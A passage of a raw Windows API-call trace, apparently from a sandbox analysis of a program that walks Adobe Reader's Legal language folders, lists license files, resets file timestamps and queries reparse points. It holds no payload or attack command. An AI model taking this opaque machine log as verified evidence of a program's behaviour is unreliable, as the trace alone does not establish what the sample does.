nFileSizeHigh=0x0, nFileSizeLow=0xe94c, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.486] GetLastError () returned 0x12 [0081.486] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.486] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.486] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.486] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.486] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe94c, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.486] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe94c, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.486] GetLastError () returned 0x12 [0081.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.487] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.487] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0081.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.488] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.488] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f90 [0081.488] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f90) returned 1 [0081.489] NtClose (Handle=0x168) returned 0x0 [0081.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.489] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201f18 [0081.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265d98 [0081.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.491] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc490, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201f38 [0081.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265ea0 [0081.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.492] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc490, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.492] GetLastError () returned 0x12 [0081.493] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.493] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc490, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.493] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc490, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.493] GetLastError () returned 0x12 [0081.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.493] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.493] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0081.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.494] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.494] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.494] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f90 [0081.494] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f90) returned 1 [0081.494] NtClose (Handle=0x178) returned 0x0 [0081.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.495] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.495] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.495] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81c9d640, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201f58 [0081.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265fa8 [0081.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.497] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201f78 [0081.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12660b0 [0081.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6800) returned 0x126d560 [0081.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0081.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.499] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.499] GetLastError () returned 0x12 [0081.499] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.499] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81c9d640, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.499] GetLastError () returned 0x12 [0081.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.499] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.500] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0081.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.501] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273d68 [0081.502] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273d68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273d68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273d68) returned 1 [0081.502] NtClose (Handle=0x168) returned 0x0 [0081.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.502] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: 